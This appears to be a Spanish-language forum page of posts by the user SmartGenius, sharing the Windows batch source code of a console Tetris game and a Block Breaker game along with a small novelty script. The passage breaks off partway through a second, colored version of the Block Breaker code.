Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - SmartGenius

#1
Scripting / [Batch] Don't Worry
31 Agosto 2013, 19:42 PM
@Echo Off&Title Be Happy, Smile!!&Color 0A
Setlocal EnableDelayedExpansion
::Coded by SmartGenius, Just For Fun :)
Pushd %Windir%
For /f %%? in ('Tree^|Find "  "') do (
For /f %%_ in ('Cmd /U /C Echo.%%?^|More') Do (
Set "%%_=%%_"&Call Set /P "!Smart!=!%%:~0,1!"<Nul))
Pause&Exit


:silbar:  ;D
#2
[Batch Game] Tetris v 1 - by SmartGenius

Pensaron que era imposible hacerlo, o que consumiria una cantidad inmensa de lineas de codigo y que seria dificil controlarlo todo, y mas aun en Batch que no es un "lenguaje", pero para mi nada de eso vale  8)


Descargar: http://smart.code-makers.net/BatchGames/TetrisBatchBySmartGenius.zip

Ya lo saben, el clasico juego del Tetris, ahora en Batch, usan las teclas A,S,D,R,X, en el mismo juego se explica como funciona, no anda solo, pero eso se acomoda con el CHOICE, salen todas las figuras y tambien rotan, tiene sus reglas para los movimientos, lo hice a modo de prueba pero es totalmente funcional, los invito a probarlo  ;D


@Echo off
@title Tetris v 1
@mode con cols=28 lines=24

:: Batch Game - Tetris v 1
:: Proof Of Concept
:: Coded by SmartGenius
:: SmartGenius, Corp. 2010

Choice /N /T:Y,1 >Nul 2>&1
If "%Errorlevel%"=="9009" (Echo. CHOICE command not found&Pause&Exit)

Set "Game=%0"

Call :Logo

:Menu
Cls
Echo.
Echo.
Echo. Tetris v 1 by SmartGenius
Echo. ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Echo. ÚÄÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄ¿
Echo. ³1.³ ³Play TETRIS ³
Echo. ÀÄÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÙ
Echo. ÚÄÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄ¿
Echo. ³2.³ ³How to Play ³
Echo. ÀÄÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÙ
Echo. ÚÄÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄ¿
Echo. ³3.³ ³Exit Game   ³
Echo. ÀÄÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÙ
Echo.
CHOICE /C:123 /N >nul
If "%errorlevel%"=="1" (Goto :Load)
If "%errorlevel%"=="2" (Goto :Help)
If "%errorlevel%"=="3" (Goto :End)
Goto :Menu

:Load
Setlocal enabledelayedexpansion
Set /a "LimX=18","LimY=16","TBound=1","LBound=0","Turn=1","Points=0"
Set /a "RBound=%LimX%","BBound=%LimY%"

:Init
For /l %%a in (0,1,%LimX%) do (
For /l %%b in (0,1,%LimY%) do (
Set "X%%aY%%b= "))
Set "Bound=Û"
Set "Bound2=²"

:Main
Set /a "L=(%Random% %% 7)+1"
Call :Figure%L%
Call :Graphic
Goto :Main

:Graphic
Call :Clear
Call :CheckL2
If "%New_F%"=="True" (
Call :Solid
Set "New_F=False"
Goto :Eof
)
Cls
Echo.
Echo.  Tetris v 1 by SmartGenius
Echo.
Echo.   Points:%Points%
Echo.   ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
For /l %%f in (0,1,%LimY%) do (Echo.   º!Lin_%%f!º)
Echo.   ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Call :Move
Goto :Graphic

:Move
:: Normal CHOICE (provided into ZIP package)
CHOICE /C:SADRXC /N >nul
:: Windows 7 or x64 system CHOICE (uncomment)
REM CHOICE /C SADRXC /N
If "%errorlevel%"=="1" (Call :Down)
If "%errorlevel%"=="2" (Call :Left)
If "%errorlevel%"=="3" (Call :Rigth)
If "%errorlevel%"=="4" (Call :Rotate)
If "%errorlevel%"=="5" (Goto :Menu)
If "%errorlevel%"=="6" (Call :MovCR)
::Descomentar para doble movimiento
REM Call :Down
Goto :Eof

::::::::::::::::::::::::::::::::::::::::
:Solid
For %%a in (%Table%) do (Set "%%a=%Bound2%")
Goto :Eof

:Rotate
Set "TmpTB="
If "%XToken%"=="11" (Set "XToken=10")
If "%YToken%"=="15" (Set "XToken=14")
Set /a "NextRotate=(%RotateLevel% %% 4)+1"
Set "TmpTable=!Figure%CurFig%_Pos%NextRotate%!
For %%R in (%TmpTable%) do (
Call :MovR "%YToken%" "%XToken%" "%%R" "Val"
Call Set "TmpTB=!TmpTB!,!Val!"
)
For %%c in (%TmpTB:~1%) do (
If "!%%c!"=="%Bound2%" (
For %%b in (%Table%) do (Set "%%b=%Bound%")
Goto :Eof
))
For %%a in (%Table%) do (Set "%%a= ")
Set "Table=%TmpTB:~1%"
For %%b in (%Table%) do (Set "%%b=%Bound%")
Set /a "RotateLevel+=1"
Goto :Eof

:MovR
For /f "tokens=1,2 delims=X,Y" %%p in ("%~3") do (
Set /a MovY=%%q+%~1
Set /a MovX=%%p+%~2
Set "%~4=X!MovX!Y!MovY!"
Set "%~3= ")
Goto :Eof

:::::::::::::::::::::::::::::::::::::::::::
:Down
Set "TmpTB="
Set "TmpTable=%Table%"
For %%a in (%TmpTable%) do (
Echo.!TmpTable!|Find "Y%BBound%">nul
If !Errorlevel! EQU 0 (Set "New_F=True"&Goto :Eof)
Call :MovYR "1" "%%a" "Val"
Call Set "TmpTB=!TmpTB!,!Val!"
)
For %%c in (%TmpTB:~1%) do (
If "!%%c!"=="%Bound2%" (
Set "New_F=True"
For %%b in (%Table%) do (Set "%%b=%Bound%")
Goto :Eof
))
Set "Table=%TmpTB:~1%"
For %%d in (%Table%) do (Set "%%d=%Bound%")
Set /a "YToken+=1"
Goto :Eof

:MovYR
For /f "tokens=1,2 delims=X,Y" %%p in ("%~2") do (
Set /a MovY=%%q+%~1
Set "%~3=X%%pY!MovY!"
Set "%~2= ")
Goto :Eof

:MovCR
Cls
Echo.
Echo.
Call :L2 "Goto :Eof"
Echo.
For /f "tokens=2 skip=3" %%c in ('find "::_0" %Game%') do (
Set "Tmp_Var=%%c"
Call :Key.A Tmp_Var
Echo. !Tmp_Var!
)
Pause >nul
Goto :Eof
::::::::::::::::::::::::::::::::::::::::

::::::::::::::::::::::::::::::::::::::::
:Rigth
Set "TmpTB="
Set "TmpTable=%Table%"
For %%a in (%TmpTable%) do (
Echo.!TmpTable!|Find "X%RBound%">nul
If !Errorlevel! EQU 0 (Goto :Eof)
Call :MovXR "+1" "%%a" "Val"
Call Set "TmpTB=!TmpTB!,!Val!"
)
For %%c in (%TmpTB:~1%) do (
If "!%%c!"=="%Bound2%" (
For %%b in (%Table%) do (Set "%%b=%Bound%")
Goto :Eof
))
Set "Table=%TmpTB:~1%"
For %%d in (%Table%) do (Set "%%d=%Bound%")
Set /a "XToken+=1"
Goto :Eof

:Left
Set "TmpTB="
Set "TmpTable=%Table%"
For %%a in (%TmpTable%) do (
Echo.!TmpTable!|Find "X%LBound%">nul
If !Errorlevel! EQU 0 (Goto :Eof)
Call :MovXR "-1" "%%a" "Val"
Call Set "TmpTB=!TmpTB!,!Val!"
)
For %%c in (%TmpTB:~1%) do (
If "!%%c!"=="%Bound2%" (
For %%b in (%Table%) do (Set "%%b=%Bound%")
Goto :Eof
))
Set "Table=%TmpTB:~1%"
For %%d in (%Table%) do (Set "%%d=%Bound%")
Set /a "XToken-=1"
Goto :Eof

:MovXR
For /f "tokens=1,2 delims=X,Y" %%p in ("%~2") do (
Set /a MovX=%%p%~1
Set "%~3=X!MovX!Y%%q"
Set "%~2= ")
Goto :Eof

::::::::::::::::::::::::::::::::::::::::
:CheckL2
Echo.%Lin_1%|Find "%Bound2%">nul
If !Errorlevel! EQU 0 (Goto :Lost)

Echo.!Lin_%LimY%!|Find " ">nul
If !Errorlevel! EQU 0 (Goto :Eof)

Call :Solid

For /l %%x in (0,1,%LimX%) do (
For /l %%y in (%LimY%,-1,1) do (
Set /a "UpLine=%%y-1"
Call Set "X%%xY%%y=%%X%%xY!UpLine!%%"
))
Set /a "Points+=100"
For /l %%d in (0,1,%LimX%) do (Set "X%%dY0= ")
Call :Clear
Goto :CheckL2

:::::::::::::::::::::::::::::::::::::::::

:Key.A
If not defined %1 Goto:Eof
Set "c="
Set "d=0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz =/\()[]{}_-.:,;* @#"
:Key.B
Set "chr=!%1:~,1!"
For /l %%l in (0 1 80) do if "!chr!" equ "!d:~%%l,1!" (
  set /a "x=%%l^5"
  call set "c=!c!%%d:~!x!,1%%"
)
Set "%1=!%1:~1!"
If defined %1 goto:Key.B
Set "%1=!c!"
Goto :Eof
:::::::::::::::::::::::::::::::::::::::::

:Clear
For /l %%m in (0,1,%LimY%) do (Set Lin_%%m=)
For /l %%d in (0,1,%LimY%) do (
For /l %%e in (0,1,%LimX%) do (
Set Lin_%%d=!Lin_%%d!!X%%eY%%d!))
Goto :Eof

:Lost
Cls
Echo.
Echo.  Tetris v 1 by SmartGenius
Echo.
Echo.      Has Perdido !
Echo.
Echo.     Points:%Points%
Echo.
Goto :End

:Win
Cls
Echo.
Echo.  Tetris v 1 by SmartGenius
Echo.
Echo.     Points:%Points%
Echo.      Has Ganado !
Goto :End

:End
Echo.
Echo.     Gracias por Jugar
Echo.  Tetris v1 by SmartGenius
Endlocal
Ping -n 3 localhost >nul
Exit

::::::::::::::::::::::::::::::::::::::::::
:Figure1
Set Figure1_Pos1=X6Y2,X6Y1,X7Y1,X7Y0
Set Figure1_Pos2=X7Y1,X8Y1,X6Y0,X7Y0
Set Figure1_Pos3=X6Y2,X6Y1,X7Y1,X7Y0
Set Figure1_Pos4=X7Y1,X8Y1,X6Y0,X7Y0
Set /a "R=(%Random% %% 4)+1"
Set Table=!Figure1_Pos%R%!
For %%b in (%Table%) do (Set "%%b=%Bound%")
Set /a "XToken=0","YToken=0","CurFig=1","RotateLevel=%R%"
Goto :Eof

:Figure2
Set Figure2_Pos1=X7Y2,X6Y1,X7Y1,X6Y0
Set Figure2_Pos2=X6Y1,X7Y1,X7Y0,X8Y0
Set Figure2_Pos3=X7Y2,X6Y1,X7Y1,X6Y0
Set Figure2_Pos4=X6Y1,X7Y1,X7Y0,X8Y0
Set /a "R=(%Random% %% 4)+1"
Set Table=!Figure2_Pos%R%!
For %%b in (%Table%) do (Set "%%b=%Bound%")
Set /a "XToken=0","YToken=0","CurFig=2","RotateLevel=%R%"
Goto :Eof

:Figure3
Set Figure3_Pos1=X7Y1,X8Y1,X7Y0,X8Y0
Set Figure3_Pos2=X7Y1,X8Y1,X7Y0,X8Y0
Set Figure3_Pos3=X7Y1,X8Y1,X7Y0,X8Y0
Set Figure3_Pos4=X7Y1,X8Y1,X7Y0,X8Y0
Set /a "R=(%Random% %% 4)+1"
Set "Table=!Figure3_Pos%R%!"
For %%b in (%Table%) do (Set "%%b=%Bound%")
Set /a "XToken=0","YToken=0","CurFig=3","RotateLevel=%R%"
Goto :Eof

:Figure4
Set Figure4_Pos1=X6Y1,X7Y1,X8Y1
Set Figure4_Pos2=X7Y2,X7Y1,X7Y0
Set Figure4_Pos3=X6Y1,X7Y1,X8Y1
Set Figure4_Pos4=X7Y2,X7Y1,X7Y0
Set /a "R=(%Random% %% 4)+1"
Set Table=!Figure4_Pos%R%!
For %%b in (%Table%) do (Set "%%b=%Bound%")
Set /a "XToken=0","YToken=0","CurFig=4","RotateLevel=%R%"
Goto :Eof

:Figure5
Set Figure5_Pos1=X6Y1,X7Y1,X8Y1,X7Y0
Set Figure5_Pos2=X7Y2,X7Y1,X8Y1,X7Y0
Set Figure5_Pos3=X7Y1,X6Y0,X7Y0,X8Y0
Set Figure5_Pos4=X8Y2,X7Y1,X8Y1,X8Y0
Set /a "R=(%Random% %% 4)+1"
Set Table=!Figure5_Pos%R%!
For %%b in (%Table%) do (Set "%%b=%Bound%")
Set /a "XToken=0","YToken=0","CurFig=5","RotateLevel=%R%"
Goto :Eof

:Figure6
Set Figure6_Pos1=X6Y1,X6Y0,X7Y0,X8Y0
Set Figure6_Pos2=X8Y2,X8Y1,X8Y0,X7Y0
Set Figure6_Pos3=X6Y1,X7Y1,X8Y1,X8Y0
Set Figure6_Pos4=X6Y2,X7Y2,X6Y1,X6Y0
Set /a "R=(%Random% %% 4)+1"
Set Table=!Figure6_Pos%R%!
For %%b in (%Table%) do (Set "%%b=%Bound%")
Set /a "XToken=0","YToken=0","CurFig=6","RotateLevel=%R%"
Goto :Eof

:Figure7
Set Figure7_Pos1=X8Y1,X6Y0,X7Y0,X8Y0
Set Figure7_Pos2=X7Y2,X8Y2,X8Y1,X8Y0
Set Figure7_Pos3=X6Y1,X7Y1,X8Y1,X6Y0
Set Figure7_Pos4=X6Y2,X6Y1,X6Y0,X7Y0
Set /a "R=(%Random% %% 4)+1"
Set Table=!Figure7_Pos%R%!
For %%b in (%Table%) do (Set "%%b=%Bound%")
Set /a "XToken=0","YToken=0","CurFig=7","RotateLevel=%R%"
Goto :Eof

::_0 xx9tYjYxWvxPrXmoLjqfzpxx
::_0 xxxxxXhXxLBINRPFGBaxxxxxx
::_0 xxxxxxxxxxxxxxxxxxxxxxxxx
::_0 xxxxx8jYfZXojYxOtxJvxxxxx
::_0 EjXzofizgxLfmgimfjqYx9GVJ
::_0 xxxJvx8XmgfqlxNxGtyjxRxxx
::_0 xxxxxxxxxxxxxxxxxxxxxxxxx
::_0 xPrXmoLjqfzpx9tms-x7545xxx

:Help
Cls
Echo.
Call :L2 "Goto :Eof"
Echo.
Echo. How to Play Batch Tetris ?
Echo.
Echo. Use keys A,S,D,R,X
Echo.
Echo. A = Move Shape Left
Echo. S = Move Shape Down
Echo. D = Move Shape Rigth
Echo. R = Rotate Shape
Echo. X = Back to Menu Game
Echo.
Echo.
Pause >nul
Goto :Menu

:Logo
Cls
Color 0b
Echo.
Echo. °°°°°°°°°°°°°°°°°°°°°°°°°°
Echo. °°°°°°°°°°°°°°°°°°°°°°°°°°
:L2
Echo. °°ÛÛÛ°ÛÛÛ°ÛÛÛ°ÛÛ°°Û°°ÛÛ°°°
Echo. °°°Û°°Û°°°°Û°°Û°Û°Û°Û°°°°°
Echo. °°°Û°°ÛÛÛ°°Û°°ÛÛ°°Û°°Û°°°°
Echo. °°°Û°°Û°°°°Û°°Û°Û°Û°°°Û°°°
Echo. °°°Û°°ÛÛÛ°°Û°°Û°Û°Û°ÛÛ°°°°
%~1
Echo. °°°°°°°°°°°°°°°°°°°°°°°°°°
Echo. °°±°°°°°°°°°²°°°°°°°°°°±°°
Echo. °°±°²°°°²²°°²²°°°²²²°°°±°°
Echo. °°±°²²°°°²°°²°°°°°°°°°°±°°
Echo. °°±°°²°°°²°°°°°°²²°°°°°±°°
Echo. °°±°°°°°°°°°°°°°°²²°°°°±°°
Echo. °°±°°°°°°°°²°°°°°°°°°°°±°°
Echo. °°±²°°°°°°°²²²°°°°°°°°°±°°
Echo. °°±²°°²²°°°°°°°²°°°°°°²±°°
Echo. °°±²°°²²°°°°°°²²²°°°²²²±°°
Echo. °°±±±±±±±±±±±±±±±±±±±±±±°°
Echo. °°°°°°°°°°°°°°°°°°°°°°°°°°
Echo. °°°°°: SmartGenius :°°°°°°
Echo. °°°°°  Corp.  2010  °°°°°°
Echo. °°°°°°°°°°°°°°°°°°°°°°°°°°
Ping -n 3 0.0.0.0 >nul
Goto :Eof



Espero que les guste, cualquier comentario o sugerencia son bien recibidos.

Saludos.  8)
#3
[Batch Game] Block Breaker (BRIX) - by SmartGenius


Descargar: http://smart.code-makers.net/BatchGames/BlockBreakerv1BySmartgenius.zip

Creo que este juego ya lo conocen, es un clasico en el cual mueven una plataforma con una pelota y el objetivo es hacerla rebotar y que vaya agarrando puntos o bloques, la imagen lo dice todo :D

He hecho dos versiones, una en Batch usando CHOICE.COM y el sistema de coordenadas, y el otro es el mismo juego pero agregando el comando COLOUS para que el juego salga a color y sin parpadeos de pantalla.

Manejan la tabla con las teclas A (Izquierda) D (Derecha) W (Lanzar / Acelerar pelota ) y con X salen del juego.

Codigo version normal:
@Echo off
@title BlockBreaker v 1
@mode con cols=28 lines=24

:: Batch Game - BlockBreaker v 1
:: Coded by SmartGenius
:: SmartGenius, Corp. 2010

If not exist "choice.com" (Goto :NoKey)

:Load
Call :Logo
Setlocal enabledelayedexpansion
Set /a "LimX=18","LimY=16","TBound=1","LBound=1"
Set /a "RBound=%LimX%-1"
Set /a "BBound=%LimY%-3"
Set NLevels=1

:Init
For /l %%a in (0,1,%LimX%) do (
For /l %%b in (0,1,%LimY%) do (
Set X%%aY%%b= ))
Set Ball=O
Set Bound=Û
Set Line=Û
Set Lost=ù
Set Point=*

:Levels
Set /a L+=1
Call :Level%L%
Call :Graphic
Set P%L%=%Movs%
If "%LOS%"=="True" Goto :Lost
If "%WIN%"=="True" Goto :Win
If "%NXL%"=="True" Goto :End
If "%L%"=="%NLevels%" Goto :Win
ping -n 1 0.0.0.0 >nul
Goto :Init

:Graphic
Call :Clear
Cls
For /l %%d in (0,1,%LimY%) do (
For /l %%e in (0,1,%LimX%) do (
Set Lin_%%d=!Lin_%%d!!X%%eY%%d!))
Echo.
Echo.  BlockBreaker v 1 by Smart
Echo.
Echo.   Lives:%Lives%    Points:%Points%
Echo.   ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
For /l %%f in (0,1,%LimY%) do (Echo.   º!Lin_%%f!º)
Echo.   ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Call :%Action%
If "%Lives%"=="0" (Set LOS=True&Set NXL=True)
If "%Dots%"=="0" (Set WIN=True&Set NXL=True)
If "%NXL%"=="True" (Goto :Eof)
Goto :Graphic

:Paused
CHOICE /C:WADX /N >nul
If "%errorlevel%"=="1" (Set Action=Playing)
If "%errorlevel%"=="2" (call :LeftA)
If "%errorlevel%"=="3" (call :RightA)
If "%errorlevel%"=="4" (Set NXL=True)
Goto :Eof

:Playing
CHOICE /C:WADX /N /T:W,1 >nul
If "%errorlevel%"=="1" (Set Action=Playing)
If "%errorlevel%"=="2" (call :LeftB)
If "%errorlevel%"=="3" (call :RightB)
If "%errorlevel%"=="4" (Set NXL=True)
Call :MovBall
Goto :Eof

:RightA
If ["%Table%"]==["%MaxTable%"] (Goto :Eof)
For /f "tokens=1,5 delims=," %%u in ("%Table%") do (
call :MovAX+ "%%u" "%%v" TB "!%%u!"
call Set NewTable=!TB!,%Table%
For /f "tokens=1-5 delims=," %%t in ("!NewTable!") do (Set NewTable=%%t,%%u,%%v,%%w,%%x)
Set Table=!NewTable!
call :MovAX+ "%CurPos%" "%CurPos%" CurPos "!%CurPos%!"
)
Goto :Eof

:RightB
If ["%Table%"]==["%MaxTable%"] (Goto :Eof)
For /f "tokens=1,5 delims=," %%u in ("%Table%") do (
call :MovAX+ "%%u" "%%v" TB "!%%u!"
call Set NewTable=!TB!,%Table%
For /f "tokens=1-5 delims=," %%t in ("!NewTable!") do (Set NewTable=%%t,%%u,%%v,%%w,%%x)
Set Table=!NewTable!)
Goto :Eof

:LeftA
If ["%Table%"]==["%MinTable%"] (Goto :Eof)
For /f "tokens=1,5 delims=," %%u in ("%Table%") do (
call :MovAX- "%%v" "%%u" TB "!%%v!"
call Set NewTable=%Table%,!TB!
For /f "tokens=2-6 delims=," %%t in ("!NewTable!") do (Set NewTable=%%t,%%u,%%v,%%w,%%x)
Set Table=!NewTable!
call :MovAX- "%CurPos%" "%CurPos%" CurPos "!%CurPos%!"
)
Goto :Eof

:LeftB
If ["%Table%"]==["%MinTable%"] (Goto :Eof)
For /f "tokens=1,5 delims=," %%u in ("%Table%") do (
call :MovAX- "%%v" "%%u" TB "!%%v!"
call Set NewTable=%Table%,!TB!
For /f "tokens=2-6 delims=," %%t in ("!NewTable!") do (Set NewTable=%%t,%%u,%%v,%%w,%%x)
Set Table=!NewTable!)
Goto :Eof

:MovAX+
For /f "tokens=1,2 delims=X,Y" %%p in ("%~1") do (
Set /a MovX=%%p+1
call Set NMovX=%%X!MovX!Y%%q%%
If "!NMovX!"=="%Bound%" (Goto :Eof)
If "!NMovX!"==" " (
Set %~2=
Set X!MovX!Y%%q=%~4
Set %3=X!MovX!Y%%q))
Goto :Eof

:MovAX-
For /f "tokens=1,2 delims=X,Y" %%p in ("%~1") do (
Set /a MovX=%%p-1
call Set NMovX=%%X!MovX!Y%%q%%
If "!NMovX!"=="%Bound%" (Goto :Eof)
If "!NMovX!"==" " (
Set %~2=
Set X!MovX!Y%%q=%~4
Set %3=X!MovX!Y%%q))
Goto :Eof

:MovBall
Set EOM=False
Call :%NextMov% "%CurPos%"
If "%EOM%"=="True" Goto :Eof
Goto :MovBall

:Diag1
For /f "tokens=1,2 delims=X,Y" %%p in ("%~1") do (
Set /a MovX=%%p+1
Set /a MovY=%%q+1
call Set NMovX=%%X!MovX!Y%%q%%
call Set NMovY=%%X%%pY!MovY!%%
call Set NMovXY=%%X!MovX!Y!MovY!%%

If "!NMovXY!"=="%Bound%" (
If "%%q"=="%BBound%" (Set NextMov=Diag3)
If "%%p"=="%RBound%" (Set NextMov=Diag4)
Goto :Eof)

If "!NMovY!"=="%Point%" (
Set "X%%pY!MovY!= "
Set NextMov=Diag3
Set /a Points+=5
Set /a Dots-=1
Goto :Eof
)
If "!NMovX!"=="%Point%" (
Set "X!MovX!Y%%q= "
Set NextMov=Diag4
Set /a Points+=5
Set /a Dots-=1
Goto :Eof
)
If "!NMovXY!"=="%Point%" (
Set "X!MovX!Y!MovY!= "
Set NextMov=Diag2
Set /a Points+=5
Set /a Dots-=1
Goto :Eof
)

If "!NMovXY!"==" " (
Set %~1=
Set X!MovX!Y!MovY!=%Ball%
Set CurPos=X!MovX!Y!MovY!
Set EOM=True)
)

If "!NMovXY!"=="%Lost%" (
Set %~1=
Set /a Lives-=1
call :ReSet
Set EOM=True)
)
Goto :Eof

:Diag2
For /f "tokens=1,2 delims=X,Y" %%p in ("%~1") do (
Set /a MovX=%%p-1
Set /a MovY=%%q-1
call Set NMovX=%%X!MovX!Y%%q%%
call Set NMovY=%%X%%pY!MovY!%%
call Set NMovXY=%%X!MovX!Y!MovY!%%

If "!NMovXY!"=="%Bound%" (
If "%%q"=="%TBound%" (Set NextMov=Diag4)
If "%%p"=="%LBound%" (Set NextMov=Diag3)
Goto :Eof)

If "!NMovY!"=="%Point%" (
Set "X%%pY!MovY!= "
Set NextMov=Diag4
Set /a Points+=5
Set /a Dots-=1
Goto :Eof
)
If "!NMovX!"=="%Point%" (
Set "X!MovX!Y%%q= "
Set NextMov=Diag3
Set /a Points+=5
Set /a Dots-=1
Goto :Eof
)
If "!NMovXY!"=="%Point%" (
Set "X!MovX!Y!MovY!= "
Set NextMov=Diag1
Set /a Points+=5
Set /a Dots-=1
Goto :Eof
)

If "!NMovXY!"==" " (
Set %~1=
Set X!MovX!Y!MovY!=%Ball%
Set CurPos=X!MovX!Y!MovY!
Set EOM=True)
)

If "!NMovXY!"=="%Lost%" (
Set %~1=
Set /a Lives-=1
call :ReSet
Set EOM=True)
)
Goto :Eof

:Diag3
For /f "tokens=1,2 delims=X,Y" %%p in ("%~1") do (
Set /a MovX=%%p+1
Set /a MovY=%%q-1
call Set NMovX=%%X!MovX!Y%%q%%
call Set NMovY=%%X%%pY!MovY!%%
call Set NMovXY=%%X!MovX!Y!MovY!%%

If "!NMovXY!"=="%Bound%" (
If "%%q"=="%TBound%" (Set NextMov=Diag1)
If "%%p"=="%RBound%" (Set NextMov=Diag2)
Goto :Eof)

If "!NMovY!"=="%Point%" (
Set "X%%pY!MovY!= "
Set NextMov=Diag1
Set /a Points+=5
Set /a Dots-=1
Goto :Eof
)
If "!NMovX!"=="%Point%" (
Set "X!MovX!Y%%q= "
Set NextMov=Diag2
Set /a Points+=5
Set /a Dots-=1
Goto :Eof
)
If "!NMovXY!"=="%Point%" (
Set "X!MovX!Y!MovY!= "
Set NextMov=Diag4
Set /a Points+=5
Set /a Dots-=1
Goto :Eof
)

If "!NMovXY!"==" " (
Set %~1=
Set X!MovX!Y!MovY!=%Ball%
Set CurPos=X!MovX!Y!MovY!
Set EOM=True)
)

If "!NMovXY!"=="%Lost%" (
Set %~1=
Set /a Lives-=1
call :ReSet
Set EOM=True)
)
Goto :Eof

:Diag4
For /f "tokens=1,2 delims=X,Y" %%p in ("%~1") do (
Set /a MovX=%%p-1
Set /a MovY=%%q+1
call Set NMovX=%%X!MovX!Y%%q%%
call Set NMovY=%%X%%pY!MovY!%%
call Set NMovXY=%%X!MovX!Y!MovY!%%

If "!NMovXY!"=="%Bound%" (
If "%%q"=="%BBound%" (Set NextMov=Diag2)
If "%%p"=="%LBound%" (Set NextMov=Diag1)
Goto :Eof)

If "!NMovY!"=="%Point%" (
Set "X%%pY!MovY!= "
Set NextMov=Diag2
Set /a Points+=5
Set /a Dots-=1
Goto :Eof
)
If "!NMovX!"=="%Point%" (
Set "X!MovX!Y%%q= "
Set NextMov=Diag1
Set /a Points+=5
Set /a Dots-=1
Goto :Eof
)
If "!NMovXY!"=="%Point%" (
Set "X!MovX!Y!MovY!= "
Set NextMov=Diag3
Set /a Points+=5
Set /a Dots-=1
Goto :Eof
)

If "!NMovXY!"==" " (
Set %~1=
Set X!MovX!Y!MovY!=%Ball%
Set CurPos=X!MovX!Y!MovY!
Set EOM=True)
)

If "!NMovXY!"=="%Lost%" (
Set %~1=
Set /a Lives-=1
call :ReSet
Set EOM=True)
)
Goto :Eof

:Clear
For /l %%m in (0,1,%LimY%) do (Set Lin_%%m=)
Goto :Eof

:Reset
Set CurPos=X8Y13
Set Table=X10Y14,X9Y14,X8Y14,X7Y14,X6Y14
For /l %%h in (1,1,17) do (Set X%%hY14= )
For %%k in (%Init%) do (Set %%k=%Line%)
For /f "tokens=1 delims=," %%j in ("%Init%") do (Set %%j=%Ball%)
Set Action=Paused
Goto :Eof

:Lost
msg * Perdiste !
Goto :End

:Win
msg * Has Ganado !
Goto :End

:End
msg * Gracias por Jugar BlockBreaker v1 by SmartGenius
Endlocal
Exit

:Level1
Set /a "Movs=0","Points=0","Dots=36","Lives=3"
Set CurPos=X8Y13
Set Table=X10Y14,X9Y14,X8Y14,X7Y14,X6Y14
Set MaxTable=X17Y14,X16Y14,X15Y14,X14Y14,X13Y14
Set MinTable=X5Y14,X4Y14,X3Y14,X2Y14,X1Y14
Set Init=X8Y13,X6Y14,X7Y14,X8Y14,X9Y14,X10Y14
Set Dir=N
Set Action=Paused
Set NextMov=Diag3
For /l %%e in (%LBound%,1,%RBound%) do (Set X%%eY1= )
For /l %%f in (6,1,10) do (Set X%%fY2=%Bound%)
For %%k in (%Init%) do (Set %%k=%Line%)
For /f "tokens=1 delims=," %%j in ("%Init%") do (Set %%j=%Ball%)
For /l %%i in (0,1,%LimX%) do (
Set X0Y%%i=%Bound%
Set X%LimX%Y%%i=%Bound%
Set X%%iY0=%Bound%
Set X%%iY%LimY%=%Bound%)
For /l %%l in (2,1,16) do (Set X%%lY2=%Point%)
For /l %%m in (4,1,14) do (Set X%%mY3=%Point%)
For /l %%n in (6,1,12) do (Set X%%nY4=%Point%)
For /l %%o in (8,1,10) do (Set X%%oY5=%Point%)
For /l %%r in (1,1,17) do (Set X%%rY15=%Lost%)
Goto :Eof

:Logo
Cls
Color 0b
Echo.
Echo. °°°°°°°°°°°°°°°°°°°°°°°°°°
Echo. °°°°°°°°°°°°°°°°°°°°°°°°°°
Echo. °°°ÛÛÛ°°Û°°°ÛÛÛ°°ÛÛ°Û°°Û°°
Echo. °°°Û°°Û°Û°°°Û°Û°Û°°°Û°Û°°°
Echo. °°°ÛÛÛ°°Û°°°Û°Û°Û°°°ÛÛ°°°°
Echo. °°°Û°°Û°Û°°°Û°Û°Û°°°Û°Û°°°
Echo. °°°ÛÛÛ°°ÛÛÛ°ÛÛÛ°°ÛÛ°Û°°Û°°
Echo. °°°°°°°°°°°°°°°°°°°°°°°°°°
Echo. °°°°°°°°°°°°°°°°°°°°°°°°°°
Echo. °°°°°°B°R°E°A°K°E°R°°°°°°°
Echo. °°°°°°°°°°°°°°°°°°°°°°°°°°
Echo. °°°±°±°±°±°±°±°±°±°±°±°±°°
Echo. °°±°±°±°±°±°±°±°±°±°±°±°°°
Echo. °°°±°±°±°±°±°±°±°±°±°±°±°°
Echo. °°°°°°°°°°°°°°°°°°°°°°°°°°
Echo. °°°°°°°°°°°°°°°°°°°°°°°°°°
Echo. °°°°°°²°°°°°°°°°°°°°°°°°°°
Echo. °°°°ÛÛÛÛÛ°°°°°°°°°°°°°°°°°
Echo. °°°°°°°°°°°°°°°°°°°°°°°°°°
Echo. °°°°°: SmartGenius :°°°°°°
Echo. °°°°°  Corp.  2010  °°°°°°
Echo. °°°°°°°°°°°°°°°°°°°°°°°°°°
ping -n 3 0.0.0.0 >nul
Goto :Eof

:NoKey
@mode con cols=30 lines=20
cls
Echo.
Echo  Uno de los archivos necesarios para el
Echo  funcionamiento de este Script no se
Echo  encuentra.
Echo.
Echo  CHOICE.COM
Echo.
Echo  Por favor descargue una copia del Comando
Echo  CHOICE de Internet...
Echo.
pause
exit


Y aqui el codigo de la version colorida del juego ;)

@Echo off
@title BlockBreaker v 1
@mode con cols=28 lines=24

:: Batch Game - BlockBreaker v 1 Colored Version
:: Coded by SmartGenius
:: SmartGenius, Corp. 2010

If not exist "choice.com" (Goto :NoKey)

:Load
Call :Logo
Setlocal enabledelayedexpansion
Set /a "LimX=18","LimY=16","TBound=1","LBound=1"
Set /a "RBound=%LimX%-1"
Set /a "BBound=%LimY%-3"
Set NLevels=1

:Init
